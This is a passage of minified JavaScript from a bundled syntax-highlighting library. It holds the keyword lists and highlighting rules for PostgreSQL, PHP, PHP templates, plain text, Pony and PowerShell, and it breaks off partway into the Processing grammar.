INVALID_TRANSACTION_STATE ACTIVE_SQL_TRANSACTION BRANCH_TRANSACTION_ALREADY_ACTIVE HELD_CURSOR_REQUIRES_SAME_ISOLATION_LEVEL INAPPROPRIATE_ACCESS_MODE_FOR_BRANCH_TRANSACTION INAPPROPRIATE_ISOLATION_LEVEL_FOR_BRANCH_TRANSACTION NO_ACTIVE_SQL_TRANSACTION_FOR_BRANCH_TRANSACTION READ_ONLY_SQL_TRANSACTION SCHEMA_AND_DATA_STATEMENT_MIXING_NOT_SUPPORTED NO_ACTIVE_SQL_TRANSACTION IN_FAILED_SQL_TRANSACTION IDLE_IN_TRANSACTION_SESSION_TIMEOUT INVALID_SQL_STATEMENT_NAME TRIGGERED_DATA_CHANGE_VIOLATION INVALID_AUTHORIZATION_SPECIFICATION INVALID_PASSWORD DEPENDENT_PRIVILEGE_DESCRIPTORS_STILL_EXIST DEPENDENT_OBJECTS_STILL_EXIST INVALID_TRANSACTION_TERMINATION SQL_ROUTINE_EXCEPTION FUNCTION_EXECUTED_NO_RETURN_STATEMENT MODIFYING_SQL_DATA_NOT_PERMITTED PROHIBITED_SQL_STATEMENT_ATTEMPTED READING_SQL_DATA_NOT_PERMITTED INVALID_CURSOR_NAME EXTERNAL_ROUTINE_EXCEPTION CONTAINING_SQL_NOT_PERMITTED MODIFYING_SQL_DATA_NOT_PERMITTED PROHIBITED_SQL_STATEMENT_ATTEMPTED READING_SQL_DATA_NOT_PERMITTED EXTERNAL_ROUTINE_INVOCATION_EXCEPTION INVALID_SQLSTATE_RETURNED NULL_VALUE_NOT_ALLOWED TRIGGER_PROTOCOL_VIOLATED SRF_PROTOCOL_VIOLATED EVENT_TRIGGER_PROTOCOL_VIOLATED SAVEPOINT_EXCEPTION INVALID_SAVEPOINT_SPECIFICATION INVALID_CATALOG_NAME INVALID_SCHEMA_NAME TRANSACTION_ROLLBACK TRANSACTION_INTEGRITY_CONSTRAINT_VIOLATION SERIALIZATION_FAILURE STATEMENT_COMPLETION_UNKNOWN DEADLOCK_DETECTED SYNTAX_ERROR_OR_ACCESS_RULE_VIOLATION SYNTAX_ERROR INSUFFICIENT_PRIVILEGE CANNOT_COERCE GROUPING_ERROR WINDOWING_ERROR INVALID_RECURSION INVALID_FOREIGN_KEY INVALID_NAME NAME_TOO_LONG RESERVED_NAME DATATYPE_MISMATCH INDETERMINATE_DATATYPE COLLATION_MISMATCH INDETERMINATE_COLLATION WRONG_OBJECT_TYPE GENERATED_ALWAYS UNDEFINED_COLUMN UNDEFINED_FUNCTION UNDEFINED_TABLE UNDEFINED_PARAMETER UNDEFINED_OBJECT DUPLICATE_COLUMN DUPLICATE_CURSOR DUPLICATE_DATABASE DUPLICATE_FUNCTION DUPLICATE_PREPARED_STATEMENT DUPLICATE_SCHEMA DUPLICATE_TABLE DUPLICATE_ALIAS DUPLICATE_OBJECT AMBIGUOUS_COLUMN AMBIGUOUS_FUNCTION AMBIGUOUS_PARAMETER AMBIGUOUS_ALIAS INVALID_COLUMN_REFERENCE INVALID_COLUMN_DEFINITION INVALID_CURSOR_DEFINITION INVALID_DATABASE_DEFINITION INVALID_FUNCTION_DEFINITION INVALID_PREPARED_STATEMENT_DEFINITION INVALID_SCHEMA_DEFINITION INVALID_TABLE_DEFINITION INVALID_OBJECT_DEFINITION WITH_CHECK_OPTION_VIOLATION INSUFFICIENT_RESOURCES DISK_FULL OUT_OF_MEMORY TOO_MANY_CONNECTIONS CONFIGURATION_LIMIT_EXCEEDED PROGRAM_LIMIT_EXCEEDED STATEMENT_TOO_COMPLEX TOO_MANY_COLUMNS TOO_MANY_ARGUMENTS OBJECT_NOT_IN_PREREQUISITE_STATE OBJECT_IN_USE CANT_CHANGE_RUNTIME_PARAM LOCK_NOT_AVAILABLE OPERATOR_INTERVENTION QUERY_CANCELED ADMIN_SHUTDOWN CRASH_SHUTDOWN CANNOT_CONNECT_NOW DATABASE_DROPPED SYSTEM_ERROR IO_ERROR UNDEFINED_FILE DUPLICATE_FILE SNAPSHOT_TOO_OLD CONFIG_FILE_ERROR LOCK_FILE_EXISTS FDW_ERROR FDW_COLUMN_NAME_NOT_FOUND FDW_DYNAMIC_PARAMETER_VALUE_NEEDED FDW_FUNCTION_SEQUENCE_ERROR FDW_INCONSISTENT_DESCRIPTOR_INFORMATION FDW_INVALID_ATTRIBUTE_VALUE FDW_INVALID_COLUMN_NAME FDW_INVALID_COLUMN_NUMBER FDW_INVALID_DATA_TYPE FDW_INVALID_DATA_TYPE_DESCRIPTORS FDW_INVALID_DESCRIPTOR_FIELD_IDENTIFIER FDW_INVALID_HANDLE FDW_INVALID_OPTION_INDEX FDW_INVALID_OPTION_NAME FDW_INVALID_STRING_LENGTH_OR_BUFFER_LENGTH FDW_INVALID_STRING_FORMAT FDW_INVALID_USE_OF_NULL_POINTER FDW_TOO_MANY_HANDLES FDW_OUT_OF_MEMORY FDW_NO_SCHEMAS FDW_OPTION_NAME_NOT_FOUND FDW_REPLY_HANDLE FDW_SCHEMA_NOT_FOUND FDW_TABLE_NOT_FOUND FDW_UNABLE_TO_CREATE_EXECUTION FDW_UNABLE_TO_CREATE_REPLY FDW_UNABLE_TO_ESTABLISH_CONNECTION PLPGSQL_ERROR RAISE_EXCEPTION NO_DATA_FOUND TOO_MANY_ROWS ASSERT_FAILURE INTERNAL_ERROR DATA_CORRUPTED INDEX_CORRUPTED ",W="ARRAY_AGG AVG BIT_AND BIT_OR BOOL_AND BOOL_OR COUNT EVERY JSON_AGG JSONB_AGG JSON_OBJECT_AGG JSONB_OBJECT_AGG MAX MIN MODE STRING_AGG SUM XMLAGG CORR COVAR_POP COVAR_SAMP REGR_AVGX REGR_AVGY REGR_COUNT REGR_INTERCEPT REGR_R2 REGR_SLOPE REGR_SXX REGR_SXY REGR_SYY STDDEV STDDEV_POP STDDEV_SAMP VARIANCE VAR_POP VAR_SAMP PERCENTILE_CONT PERCENTILE_DISC ROW_NUMBER RANK DENSE_RANK PERCENT_RANK CUME_DIST NTILE LAG LEAD FIRST_VALUE LAST_VALUE NTH_VALUE NUM_NONNULLS NUM_NULLS ABS CBRT CEIL CEILING DEGREES DIV EXP FLOOR LN LOG MOD PI POWER RADIANS ROUND SCALE SIGN SQRT TRUNC WIDTH_BUCKET RANDOM SETSEED ACOS ACOSD ASIN ASIND ATAN ATAND ATAN2 ATAN2D COS COSD COT COTD SIN SIND TAN TAND BIT_LENGTH CHAR_LENGTH CHARACTER_LENGTH LOWER OCTET_LENGTH OVERLAY POSITION SUBSTRING TREAT TRIM UPPER ASCII BTRIM CHR CONCAT CONCAT_WS CONVERT CONVERT_FROM CONVERT_TO DECODE ENCODE INITCAP LEFT LENGTH LPAD LTRIM MD5 PARSE_IDENT PG_CLIENT_ENCODING QUOTE_IDENT|10 QUOTE_LITERAL|10 QUOTE_NULLABLE|10 REGEXP_MATCH REGEXP_MATCHES REGEXP_REPLACE REGEXP_SPLIT_TO_ARRAY REGEXP_SPLIT_TO_TABLE REPEAT REPLACE REVERSE RIGHT RPAD RTRIM SPLIT_PART STRPOS SUBSTR TO_ASCII TO_HEX TRANSLATE OCTET_LENGTH GET_BIT GET_BYTE SET_BIT SET_BYTE TO_CHAR TO_DATE TO_NUMBER TO_TIMESTAMP AGE CLOCK_TIMESTAMP|10 DATE_PART DATE_TRUNC ISFINITE JUSTIFY_DAYS JUSTIFY_HOURS JUSTIFY_INTERVAL MAKE_DATE MAKE_INTERVAL|10 MAKE_TIME MAKE_TIMESTAMP|10 MAKE_TIMESTAMPTZ|10 NOW STATEMENT_TIMESTAMP|10 TIMEOFDAY TRANSACTION_TIMESTAMP|10 ENUM_FIRST ENUM_LAST ENUM_RANGE AREA CENTER DIAMETER HEIGHT ISCLOSED ISOPEN NPOINTS PCLOSE POPEN RADIUS WIDTH BOX BOUND_BOX CIRCLE LINE LSEG PATH POLYGON ABBREV BROADCAST HOST HOSTMASK MASKLEN NETMASK NETWORK SET_MASKLEN TEXT INET_SAME_FAMILY INET_MERGE MACADDR8_SET7BIT ARRAY_TO_TSVECTOR GET_CURRENT_TS_CONFIG NUMNODE PLAINTO_TSQUERY PHRASETO_TSQUERY WEBSEARCH_TO_TSQUERY QUERYTREE SETWEIGHT STRIP TO_TSQUERY TO_TSVECTOR JSON_TO_TSVECTOR JSONB_TO_TSVECTOR TS_DELETE TS_FILTER TS_HEADLINE TS_RANK TS_RANK_CD TS_REWRITE TSQUERY_PHRASE TSVECTOR_TO_ARRAY TSVECTOR_UPDATE_TRIGGER TSVECTOR_UPDATE_TRIGGER_COLUMN XMLCOMMENT XMLCONCAT XMLELEMENT XMLFOREST XMLPI XMLROOT XMLEXISTS XML_IS_WELL_FORMED XML_IS_WELL_FORMED_DOCUMENT XML_IS_WELL_FORMED_CONTENT XPATH XPATH_EXISTS XMLTABLE XMLNAMESPACES TABLE_TO_XML TABLE_TO_XMLSCHEMA TABLE_TO_XML_AND_XMLSCHEMA QUERY_TO_XML QUERY_TO_XMLSCHEMA QUERY_TO_XML_AND_XMLSCHEMA CURSOR_TO_XML CURSOR_TO_XMLSCHEMA SCHEMA_TO_XML SCHEMA_TO_XMLSCHEMA SCHEMA_TO_XML_AND_XMLSCHEMA DATABASE_TO_XML DATABASE_TO_XMLSCHEMA DATABASE_TO_XML_AND_XMLSCHEMA XMLATTRIBUTES TO_JSON TO_JSONB ARRAY_TO_JSON ROW_TO_JSON JSON_BUILD_ARRAY JSONB_BUILD_ARRAY JSON_BUILD_OBJECT JSONB_BUILD_OBJECT JSON_OBJECT JSONB_OBJECT JSON_ARRAY_LENGTH JSONB_ARRAY_LENGTH JSON_EACH JSONB_EACH JSON_EACH_TEXT JSONB_EACH_TEXT JSON_EXTRACT_PATH JSONB_EXTRACT_PATH JSON_OBJECT_KEYS JSONB_OBJECT_KEYS JSON_POPULATE_RECORD JSONB_POPULATE_RECORD JSON_POPULATE_RECORDSET JSONB_POPULATE_RECORDSET JSON_ARRAY_ELEMENTS JSONB_ARRAY_ELEMENTS JSON_ARRAY_ELEMENTS_TEXT JSONB_ARRAY_ELEMENTS_TEXT JSON_TYPEOF JSONB_TYPEOF JSON_TO_RECORD JSONB_TO_RECORD JSON_TO_RECORDSET JSONB_TO_RECORDSET JSON_STRIP_NULLS JSONB_STRIP_NULLS JSONB_SET JSONB_INSERT JSONB_PRETTY CURRVAL LASTVAL NEXTVAL SETVAL COALESCE NULLIF GREATEST LEAST ARRAY_APPEND ARRAY_CAT ARRAY_NDIMS ARRAY_DIMS ARRAY_FILL ARRAY_LENGTH ARRAY_LOWER ARRAY_POSITION ARRAY_POSITIONS ARRAY_PREPEND ARRAY_REMOVE ARRAY_REPLACE ARRAY_TO_STRING ARRAY_UPPER CARDINALITY STRING_TO_ARRAY UNNEST ISEMPTY LOWER_INC UPPER_INC LOWER_INF UPPER_INF RANGE_MERGE GENERATE_SERIES GENERATE_SUBSCRIPTS CURRENT_DATABASE CURRENT_QUERY CURRENT_SCHEMA|10 CURRENT_SCHEMAS|10 INET_CLIENT_ADDR INET_CLIENT_PORT INET_SERVER_ADDR INET_SERVER_PORT ROW_SECURITY_ACTIVE FORMAT_TYPE TO_REGCLASS TO_REGPROC TO_REGPROCEDURE TO_REGOPER TO_REGOPERATOR TO_REGTYPE TO_REGNAMESPACE TO_REGROLE COL_DESCRIPTION OBJ_DESCRIPTION SHOBJ_DESCRIPTION TXID_CURRENT TXID_CURRENT_IF_ASSIGNED TXID_CURRENT_SNAPSHOT TXID_SNAPSHOT_XIP TXID_SNAPSHOT_XMAX TXID_SNAPSHOT_XMIN TXID_VISIBLE_IN_SNAPSHOT TXID_STATUS CURRENT_SETTING SET_CONFIG BRIN_SUMMARIZE_NEW_VALUES BRIN_SUMMARIZE_RANGE BRIN_DESUMMARIZE_RANGE GIN_CLEAN_PENDING_LIST SUPPRESS_REDUNDANT_UPDATES_TRIGGER LO_FROM_BYTEA LO_PUT LO_GET LO_CREAT LO_CREATE LO_UNLINK LO_IMPORT LO_EXPORT LOREAD LOWRITE GROUPING CAST ".trim().split(" ").map(function(D){return D.split("|")[0]}).join("|");return{name:"PostgreSQL",aliases:["postgres","postgresql"],case_insensitive:!0,keywords:{keyword:w+J+H,built_in:$+_+G},illegal:/:==|\W\s*\(\*|(^|\s)\$[a-z]|\{\{|[a-z]:\s*$|\.\.\.|TO:|DO:/,contains:[{className:"keyword",variants:[{begin:/\bTEXT\s*SEARCH\b/},{begin:/\b(PRIMARY|FOREIGN|FOR(\s+NO)?)\s+KEY\b/},{begin:/\bPARALLEL\s+(UNSAFE|RESTRICTED|SAFE)\b/},{begin:/\bSTORAGE\s+(PLAIN|EXTERNAL|EXTENDED|MAIN)\b/},{begin:/\bMATCH\s+(FULL|PARTIAL|SIMPLE)\b/},{begin:/\bNULLS\s+(FIRST|LAST)\b/},{begin:/\bEVENT\s+TRIGGER\b/},{begin:/\b(MAPPING|OR)\s+REPLACE\b/},{begin:/\b(FROM|TO)\s+(PROGRAM|STDIN|STDOUT)\b/},{begin:/\b(SHARE|EXCLUSIVE)\s+MODE\b/},{begin:/\b(LEFT|RIGHT)\s+(OUTER\s+)?JOIN\b/},{begin:/\b(FETCH|MOVE)\s+(NEXT|PRIOR|FIRST|LAST|ABSOLUTE|RELATIVE|FORWARD|BACKWARD)\b/},{begin:/\bPRESERVE\s+ROWS\b/},{begin:/\bDISCARD\s+PLANS\b/},{begin:/\bREFERENCING\s+(OLD|NEW)\b/},{begin:/\bSKIP\s+LOCKED\b/},{begin:/\bGROUPING\s+SETS\b/},{begin:/\b(BINARY|INSENSITIVE|SCROLL|NO\s+SCROLL)\s+(CURSOR|FOR)\b/},{begin:/\b(WITH|WITHOUT)\s+HOLD\b/},{begin:/\bWITH\s+(CASCADED|LOCAL)\s+CHECK\s+OPTION\b/},{begin:/\bEXCLUDE\s+(TIES|NO\s+OTHERS)\b/},{begin:/\bFORMAT\s+(TEXT|XML|JSON|YAML)\b/},{begin:/\bSET\s+((SESSION|LOCAL)\s+)?NAMES\b/},{begin:/\bIS\s+(NOT\s+)?UNKNOWN\b/},{begin:/\bSECURITY\s+LABEL\b/},{begin:/\bSTANDALONE\s+(YES|NO|NO\s+VALUE)\b/},{begin:/\bWITH\s+(NO\s+)?DATA\b/},{begin:/\b(FOREIGN|SET)\s+DATA\b/},{begin:/\bSET\s+(CATALOG|CONSTRAINTS)\b/},{begin:/\b(WITH|FOR)\s+ORDINALITY\b/},{begin:/\bIS\s+(NOT\s+)?DOCUMENT\b/},{begin:/\bXML\s+OPTION\s+(DOCUMENT|CONTENT)\b/},{begin:/\b(STRIP|PRESERVE)\s+WHITESPACE\b/},{begin:/\bNO\s+(ACTION|MAXVALUE|MINVALUE)\b/},{begin:/\bPARTITION\s+BY\s+(RANGE|LIST|HASH)\b/},{begin:/\bAT\s+TIME\s+ZONE\b/},{begin:/\bGRANTED\s+BY\b/},{begin:/\bRETURN\s+(QUERY|NEXT)\b/},{begin:/\b(ATTACH|DETACH)\s+PARTITION\b/},{begin:/\bFORCE\s+ROW\s+LEVEL\s+SECURITY\b/},{begin:/\b(INCLUDING|EXCLUDING)\s+(COMMENTS|CONSTRAINTS|DEFAULTS|IDENTITY|INDEXES|STATISTICS|STORAGE|ALL)\b/},{begin:/\bAS\s+(ASSIGNMENT|IMPLICIT|PERMISSIVE|RESTRICTIVE|ENUM|RANGE)\b/}]},{begin:/\b(FORMAT|FAMILY|VERSION)\s*\(/},{begin:/\bINCLUDE\s*\(/,keywords:"INCLUDE"},{begin:/\bRANGE(?!\s*(BETWEEN|UNBOUNDED|CURRENT|[-0-9]+))/},{begin:/\b(VERSION|OWNER|TEMPLATE|TABLESPACE|CONNECTION\s+LIMIT|PROCEDURE|RESTRICT|JOIN|PARSER|COPY|START|END|COLLATION|INPUT|ANALYZE|STORAGE|LIKE|DEFAULT|DELIMITER|ENCODING|COLUMN|CONSTRAINT|TABLE|SCHEMA)\s*=/},{begin:/\b(PG_\w+?|HAS_[A-Z_]+_PRIVILEGE)\b/,relevance:10},{begin:/\bEXTRACT\s*\(/,end:/\bFROM\b/,returnEnd:!0,keywords:{type:"CENTURY DAY DECADE DOW DOY EPOCH HOUR ISODOW ISOYEAR MICROSECONDS MILLENNIUM MILLISECONDS MINUTE MONTH QUARTER SECOND TIMEZONE TIMEZONE_HOUR TIMEZONE_MINUTE WEEK YEAR"}},{begin:/\b(XMLELEMENT|XMLPI)\s*\(\s*NAME/,keywords:{keyword:"NAME"}},{begin:/\b(XMLPARSE|XMLSERIALIZE)\s*\(\s*(DOCUMENT|CONTENT)/,keywords:{keyword:"DOCUMENT CONTENT"}},{beginKeywords:"CACHE INCREMENT MAXVALUE MINVALUE",end:A.C_NUMBER_RE,returnEnd:!0,keywords:"BY CACHE INCREMENT MAXVALUE MINVALUE"},{className:"type",begin:/\b(WITH|WITHOUT)\s+TIME\s+ZONE\b/},{className:"type",begin:/\bINTERVAL\s+(YEAR|MONTH|DAY|HOUR|MINUTE|SECOND)(\s+TO\s+(MONTH|HOUR|MINUTE|SECOND))?\b/},{begin:/\bRETURNS\s+(LANGUAGE_HANDLER|TRIGGER|EVENT_TRIGGER|FDW_HANDLER|INDEX_AM_HANDLER|TSM_HANDLER)\b/,keywords:{keyword:"RETURNS",type:"LANGUAGE_HANDLER TRIGGER EVENT_TRIGGER FDW_HANDLER INDEX_AM_HANDLER TSM_HANDLER"}},{begin:"\\b("+W+")\\s*\\("},{begin:"\\.("+X+")\\b"},{begin:"\\b("+X+")\\s+PATH\\b",keywords:{keyword:"PATH",type:O.replace("PATH ","")}},{className:"type",begin:"\\b("+X+")\\b"},{className:"string",begin:"'",end:"'",contains:[{begin:"''"}]},{className:"string",begin:"(e|E|u&|U&)'",end:"'",contains:[{begin:"\\\\."}],relevance:10},A.END_SAME_AS_BEGIN({begin:"\\$([a-zA-Z_]?|[a-zA-Z_][a-zA-Z_0-9]*)\\$",end:"\\$([a-zA-Z_]?|[a-zA-Z_][a-zA-Z_0-9]*)\\$",contains:[{subLanguage:["pgsql","perl","python","tcl","r","lua","java","php","ruby","bash","scheme","xml","json"],endsWithParent:!0}]}),{begin:'"',end:'"',contains:[{begin:'""'}]},A.C_NUMBER_MODE,A.C_BLOCK_COMMENT_MODE,K,{className:"meta",variants:[{begin:"%(ROW)?TYPE",relevance:10},{begin:"\\$\\d+"},{begin:"^#\\w",end:"$"}]},{className:"symbol",begin:z,relevance:10}]}}r08.exports=Gfq});var s08=v((HLz,a08)=>{function Zfq(A){let K={className:"variable",begin:"\\$+[a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*"+"(?![A-Za-z0-9])(?![$])"},q={className:"meta",variants:[{begin:/<\?php/,relevance:10},{begin:/<\?[=]?/},{begin:/\?>/}]},Y={className:"subst",variants:[{begin:/\$\w+/},{begin:/\{\$/,end:/\}/}]},z=A.inherit(A.APOS_STRING_MODE,{illegal:null}),w=A.inherit(A.QUOTE_STRING_MODE,{illegal:null,contains:A.QUOTE_STRING_MODE.contains.concat(Y)}),H=A.END_SAME_AS_BEGIN({begin:/<<<[ \t]*(\w+)\n/,end:/[ \t]*(\w+)\b/,contains:A.QUOTE_STRING_MODE.contains.concat(Y)}),J={className:"string",contains:[A.BACKSLASH_ESCAPE,q],variants:[A.inherit(z,{begin:"b'",end:"'"}),A.inherit(w,{begin:'b"',end:'"'}),w,z,H]},O={className:"number",variants:[{begin:"\\b0b[01]+(?:_[01]+)*\\b"},{begin:"\\b0o[0-7]+(?:_[0-7]+)*\\b"},{begin:"\\b0x[\\da-f]+(?:_[\\da-f]+)*\\b"},{begin:"(?:\\b\\d+(?:_\\d+)*(\\.(?:\\d+(?:_\\d+)*))?|\\B\\.\\d+)(?:e[+-]?\\d+)?"}],relevance:0},X={keyword:"__CLASS__ __DIR__ __FILE__ __FUNCTION__ __LINE__ __METHOD__ __NAMESPACE__ __TRAIT__ die echo exit include include_once print require require_once array abstract and as binary bool boolean break callable case catch class clone const continue declare default do double else elseif empty enddeclare endfor endforeach endif endswitch endwhile enum eval extends final finally float for foreach from global goto if implements instanceof insteadof int integer interface isset iterable list match|0 mixed new object or private protected public real return string switch throw trait try unset use var void while xor yield",literal:"false null true",built_in:"Error|0 AppendIterator ArgumentCountError ArithmeticError ArrayIterator ArrayObject AssertionError BadFunctionCallException BadMethodCallException CachingIterator CallbackFilterIterator CompileError Countable DirectoryIterator DivisionByZeroError DomainException EmptyIterator ErrorException Exception FilesystemIterator FilterIterator GlobIterator InfiniteIterator InvalidArgumentException IteratorIterator LengthException LimitIterator LogicException MultipleIterator NoRewindIterator OutOfBoundsException OutOfRangeException OuterIterator OverflowException ParentIterator ParseError RangeException RecursiveArrayIterator RecursiveCachingIterator RecursiveCallbackFilterIterator RecursiveDirectoryIterator RecursiveFilterIterator RecursiveIterator RecursiveIteratorIterator RecursiveRegexIterator RecursiveTreeIterator RegexIterator RuntimeException SeekableIterator SplDoublyLinkedList SplFileInfo SplFileObject SplFixedArray SplHeap SplMaxHeap SplMinHeap SplObjectStorage SplObserver SplObserver SplPriorityQueue SplQueue SplStack SplSubject SplSubject SplTempFileObject TypeError UnderflowException UnexpectedValueException UnhandledMatchError ArrayAccess Closure Generator Iterator IteratorAggregate Serializable Stringable Throwable Traversable WeakReference WeakMap Directory __PHP_Incomplete_Class parent php_user_filter self static stdClass"};return{aliases:["php3","php4","php5","php6","php7","php8"],case_insensitive:!0,keywords:X,contains:[A.HASH_COMMENT_MODE,A.COMMENT("//","$",{contains:[q]}),A.COMMENT("/\\*","\\*/",{contains:[{className:"doctag",begin:"@[A-Za-z]+"}]}),A.COMMENT("__halt_compiler.+?;",!1,{endsWithParent:!0,keywords:"__halt_compiler"}),q,{className:"keyword",begin:/\$this\b/},K,{begin:/(::|->)+[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/},{className:"function",relevance:0,beginKeywords:"fn function",end:/[;{]/,excludeEnd:!0,illegal:"[$%\\[]",contains:[{beginKeywords:"use"},A.UNDERSCORE_TITLE_MODE,{begin:"=>",endsParent:!0},{className:"params",begin:"\\(",end:"\\)",excludeBegin:!0,excludeEnd:!0,keywords:X,contains:["self",K,A.C_BLOCK_COMMENT_MODE,J,O]}]},{className:"class",variants:[{beginKeywords:"enum",illegal:/[($"]/},{beginKeywords:"class interface trait",illegal:/[:($"]/}],relevance:0,end:/\{/,excludeEnd:!0,contains:[{beginKeywords:"extends implements"},A.UNDERSCORE_TITLE_MODE]},{beginKeywords:"namespace",relevance:0,end:";",illegal:/[.']/,contains:[A.UNDERSCORE_TITLE_MODE]},{beginKeywords:"use",relevance:0,end:";",contains:[A.UNDERSCORE_TITLE_MODE]},J,O]}}a08.exports=Zfq});var e08=v((JLz,t08)=>{function Wfq(A){return{name:"PHP template",subLanguage:"xml",contains:[{begin:/<\?(php|=)?/,end:/\?>/,subLanguage:"php",contains:[{begin:"/\\*",end:"\\*/",skip:!0},{begin:'b"',end:'"',skip:!0},{begin:"b'",end:"'",skip:!0},A.inherit(A.APOS_STRING_MODE,{illegal:null,className:null,contains:null,skip:!0}),A.inherit(A.QUOTE_STRING_MODE,{illegal:null,className:null,contains:null,skip:!0})]}]}}t08.exports=Wfq});var KX8=v((OLz,AX8)=>{function Dfq(A){return{name:"Plain text",aliases:["text","txt"],disableAutodetect:!0}}AX8.exports=Dfq});var YX8=v((XLz,qX8)=>{function jfq(A){let K={keyword:"actor addressof and as be break class compile_error compile_intrinsic consume continue delegate digestof do else elseif embed end error for fun if ifdef in interface is isnt lambda let match new not object or primitive recover repeat return struct then trait try type until use var where while with xor",meta:"iso val tag trn box ref",literal:"this false true"},q={className:"string",begin:'"""',end:'"""',relevance:10},Y={className:"string",begin:'"',end:'"',contains:[A.BACKSLASH_ESCAPE]},z={className:"string",begin:"'",end:"'",contains:[A.BACKSLASH_ESCAPE],relevance:0},w={className:"type",begin:"\\b_?[A-Z][\\w]*",relevance:0},H={begin:A.IDENT_RE+"'",relevance:0};return{name:"Pony",keywords:K,contains:[w,q,Y,z,H,{className:"number",begin:"(-?)(\\b0[xX][a-fA-F0-9]+|\\b0[bB][01]+|(\\b\\d+(_\\d+)?(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",relevance:0},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]}}qX8.exports=jfq});var wX8=v(($Lz,zX8)=>{function Mfq(A){let K=["string","char","byte","int","long","bool","decimal","single","double","DateTime","xml","array","hashtable","void"],q="Add|Clear|Close|Copy|Enter|Exit|Find|Format|Get|Hide|Join|Lock|Move|New|Open|Optimize|Pop|Push|Redo|Remove|Rename|Reset|Resize|Search|Select|Set|Show|Skip|Split|Step|Switch|Undo|Unlock|Watch|Backup|Checkpoint|Compare|Compress|Convert|ConvertFrom|ConvertTo|Dismount|Edit|Expand|Export|Group|Import|Initialize|Limit|Merge|Mount|Out|Publish|Restore|Save|Sync|Unpublish|Update|Approve|Assert|Build|Complete|Confirm|Deny|Deploy|Disable|Enable|Install|Invoke|Register|Request|Restart|Resume|Start|Stop|Submit|Suspend|Uninstall|Unregister|Wait|Debug|Measure|Ping|Repair|Resolve|Test|Trace|Connect|Disconnect|Read|Receive|Send|Write|Block|Grant|Protect|Revoke|Unblock|Unprotect|Use|ForEach|Sort|Tee|Where",Y="-and|-as|-band|-bnot|-bor|-bxor|-casesensitive|-ccontains|-ceq|-cge|-cgt|-cle|-clike|-clt|-cmatch|-cne|-cnotcontains|-cnotlike|-cnotmatch|-contains|-creplace|-csplit|-eq|-exact|-f|-file|-ge|-gt|-icontains|-ieq|-ige|-igt|-ile|-ilike|-ilt|-imatch|-in|-ine|-inotcontains|-inotlike|-inotmatch|-ireplace|-is|-isnot|-isplit|-join|-le|-like|-lt|-match|-ne|-not|-notcontains|-notin|-notlike|-notmatch|-or|-regex|-replace|-shl|-shr|-split|-wildcard|-xor",z={$pattern:/-?[A-z\.\-]+\b/,keyword:"if else foreach return do while until elseif begin for trap data dynamicparam end break throw param continue finally in switch exit filter try process catch hidden static parameter",built_in:"ac asnp cat cd CFS chdir clc clear clhy cli clp cls clv cnsn compare copy cp cpi cpp curl cvpa dbp del diff dir dnsn ebp echo|0 epal epcsv epsn erase etsn exsn fc fhx fl ft fw gal gbp gc gcb gci gcm gcs gdr gerr ghy gi gin gjb gl gm gmo gp gps gpv group gsn gsnp gsv gtz gu gv gwmi h history icm iex ihy ii ipal ipcsv ipmo ipsn irm ise iwmi iwr kill lp ls man md measure mi mount move mp mv nal ndr ni nmo npssc nsn nv ogv oh popd ps pushd pwd r rbp rcjb rcsn rd rdr ren ri rjb rm rmdir rmo rni rnp rp rsn rsnp rujb rv rvpa rwmi sajb sal saps sasv sbp sc scb select set shcm si sl sleep sls sort sp spjb spps spsv start stz sujb sv swmi tee trcm type wget where wjb write"},w=/\w[\w\d]*((-)[\w\d]+)*/,H={begin:"`[\\s\\S]",relevance:0},J={className:"variable",variants:[{begin:/\$\B/},{className:"keyword",begin:/\$this/},{begin:/\$[\w\d][\w\d_:]*/}]},O={className:"literal",begin:/\$(null|true|false)\b/},X={className:"string",variants:[{begin:/"/,end:/"/},{begin:/@"/,end:/^"@/}],contains:[H,J,{className:"variable",begin:/\$[A-z]/,end:/[^A-z]/}]},$={className:"string",variants:[{begin:/'/,end:/'/},{begin:/@'/,end:/^'@/}]},_={className:"doctag",variants:[{begin:/\.(synopsis|description|example|inputs|outputs|notes|link|component|role|functionality)/},{begin:/\.(parameter|forwardhelptargetname|forwardhelpcategory|remotehelprunspace|externalhelp)\s+\S+/}]},G=A.inherit(A.COMMENT(null,null),{variants:[{begin:/#/,end:/$/},{begin:/<#/,end:/#>/}],contains:[_]}),Z={className:"built_in",variants:[{begin:"(".concat(q,")+(-)[\\w\\d]+")}]},W={className:"class",beginKeywords:"class enum",end:/\s*[{]/,excludeEnd:!0,relevance:0,contains:[A.TITLE_MODE]},D={className:"function",begin:/function\s+/,end:/\s*\{|$/,excludeEnd:!0,returnBegin:!0,relevance:0,contains:[{begin:"function",relevance:0,className:"keyword"},{className:"title",begin:w,relevance:0},{begin:/\(/,end:/\)/,className:"params",relevance:0,contains:[J]}]},j={begin:/using\s/,end:/$/,returnBegin:!0,contains:[X,$,{className:"keyword",begin:/(using|assembly|command|module|namespace|type)/}]},M={variants:[{className:"operator",begin:"(".concat(Y,")\\b")},{className:"literal",begin:/(-)[\w\d]+/,relevance:0}]},P={className:"selector-tag",begin:/@\B/,relevance:0},f={className:"function",begin:/\[.*\]\s*[\w]+[ ]??\(/,end:/$/,returnBegin:!0,relevance:0,contains:[{className:"keyword",begin:"(".concat(z.keyword.toString().replace(/\s/g,"|"),")\\b"),endsParent:!0,relevance:0},A.inherit(A.TITLE_MODE,{endsParent:!0})]},N=[f,G,H,A.NUMBER_MODE,X,$,Z,J,O,P],T={begin:/\[/,end:/\]/,excludeBegin:!0,excludeEnd:!0,relevance:0,contains:[].concat("self",N,{begin:"("+K.join("|")+")",className:"built_in",relevance:0},{className:"type",begin:/[\.\w\d]+/,relevance:0})};return f.contains.unshift(T),{name:"PowerShell",aliases:["ps","ps1"],case_insensitive:!0,keywords:z,contains:N.concat(W,D,j,M,T)}}zX8.exports=Mfq});var JX8=v((_Lz,HX8)=>{function Pfq(A){return{name:"Processing",keywords:{keyword:"BufferedReader PVector PFont PImage PGraphics HashMap boolean byte char color double float int long String Array FloatDict FloatList IntDict IntList JSONArray JSONObject Object StringDict StringList Table TableRow XML false synchronized int abstract float private char boolean static null if const for true while long throw strictfp finally protected import native final return void enum else break transient new catch instanceof byte super volatile case assert short package default double public try this switch continue throws protected public private",literal:"P2D P3D HALF_PI PI QUARTER_PI TAU TWO_PI",title:"setup draw",built_in:"displayHeight 